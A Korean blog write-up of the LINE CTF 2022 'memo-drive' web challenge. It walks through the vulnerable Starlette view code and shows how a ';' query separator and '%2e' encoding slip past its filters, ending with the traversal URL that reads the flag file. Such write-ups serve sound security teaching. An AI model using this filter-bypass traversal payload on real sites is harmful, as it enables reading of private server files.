티스토리 뷰
문제 개요
File Path Traversal with bug on urllib.parse's parse_qsl
위 이미지는 문제의 첫 화면입니다. "Please input memo contents" Placeholder 부분에 내용을 작성 후 SAVE 버튼을 누르면 아래 Memo List 에 최대 3개까지 메모 내용이 올라갑니다.
내용에 "Hello my name is domdomi" 라고 작성 후 SAVE 버튼을 누르게 되면 아래와 같이 이상한 숫자로 이루어진 항목이 생겨나게 되고
해당 항목을 클릭하면 아래 URL로 이동하면서
/view?085be04717214b4ab8b2dcbdc4b0029e=0_20220328034323
위와 같이 작성했던 내용이 포함된 페이지가 나옵니다.
코드 분석
우선 Dockerfile 을 보면 FLAG 의 경로를 알 수 있습니다. (중요 내용만 포함하고 나머지는 생략했습니다)
ENV MEMO /usr/local/opt/memo-drive
COPY ./memo-drive "${MEMO}"
COPY flag "${MEMO}/memo/flag"
WORKDIR "${MEMO}"
그리고 requirements.txt 파일인데요. 중요한 건 어떤 웹 프레임워크를 사용했는지입니다. Flask 일 줄 알았는데 다른 라이브러리더군요. 최신 버전이 0.19.0 인데 0.16.0 이었습니다.
starlette==0.16.0
아래는 index.py 에 있는 view 라우터에 대한 코드입니다.
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host)
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
except:
pass
return templates.TemplateResponse('/view/view.html', context)
위 코드에서 취약한 부분은 여럿 있는데 차례로 설명하기로 하고, 우선 Path Traversal이 가능한 지점부터 보면 아래와 같습니다.
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
request 의 query_params 에서 keys() 함수를 사용해서 key 값들을 모두 뽑아옵니다. 참고로 starlette 의 query_params 에서는 urllib.parse 모듈의 parse_qsl 함수를 사용합니다. 해당 코드는 아래에서 살펴볼 수 있습니다.
https://github.com/encode/starlette/blob/0.16.0/starlette/datastructures.py#L393
이 parse_qsl 함수에는 어떤 문제점이 있냐면 쿼리스트링 파라미터들을 & 로 구분할 뿐만 아니라 ; 로도 구분한다는 것에 있습니다.
그러므로 해당 조건문에서의 필터링은 우회가 가능한 요소가 있다는 것입니다. 아래 코드에서 & 문자가 ; 문자로 우회가 될 것입니다.
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
또 한 가지는 request.url.query 에서 . 을 필터링하고 있는데 unquote 함수를 따로 쓰고 있지 않아서 %2e 로 URL 인코딩해주면 우회가 가능합니다.
결론적으로 위와 같은 취약점들을 이용해서 아래와 같은 형태를 만들게 되면 문제를 풀 수 있게됩니다.
'./memo/b31d134ea047c9ccf19536404d7995df/../flag'
문제 풀이
URL 파라미터를 아래와 같이 해보았습니다.
'http://hostname:port/view?b31d134ea047c9ccf19536404d7995df=flag;/%2e%2e'
그럼 위 내용에서 각각 아래 내용에 들어가게 됩니다.
# filename = request.query_params[clientId]
filename = 'flag'
# request.query_params
[('b31d134ea047c9ccf19536404d7995df', 'flag'), ('/..', '')]
# request.query_params.keys()
dict_keys(['b31d134ea047c9ccf19536404d7995df', '/..'])
# "".join(request.query_params.keys())
b31d134ea047c9ccf19536404d7995df/..
그럼 이제 path 변수에 대입하던 형태로 동일하게 대입을 해보면
# path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
path = './memo/' + 'b31d134ea047c9ccf19536404d7995df/..' + '/' + 'flag'
위와 같이 만들어지게 되므로 결국 원하는 결과가 나오게 됩니다.
'./memo/b31d134ea047c9ccf19536404d7995df/../flag'
'./memo/flag'
이와 같이 해서 아래와 같이 Flag 값을 획득할 수 있었습니다.
본 문제는 LINECTF2022 에서 웹 분야로 사람들이 두 번째로 많이 푼 문제인 것 같습니다. 소스코드만 좀 분석해보면 되는 문제라서 비교적 빨리 풀 수 있는 문제 같습니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[Hackthebox] BlinkerFluids Writeup(문제풀이) (0) | 2022.05.22 |
---|---|
[LINECTF2022] [WEB] gotm 문제풀이(writeup) (0) | 2022.03.28 |
[LINECTF2022] [WEB] bb 문제풀이(writeup) (0) | 2022.03.28 |
[Codegate2022예선] (BLOCKCHAIN) NFT 문제풀이 (0) | 2022.03.03 |
[Codegate2022예선] (WEB) MYBLOG 문제풀이 (0) | 2022.03.01 |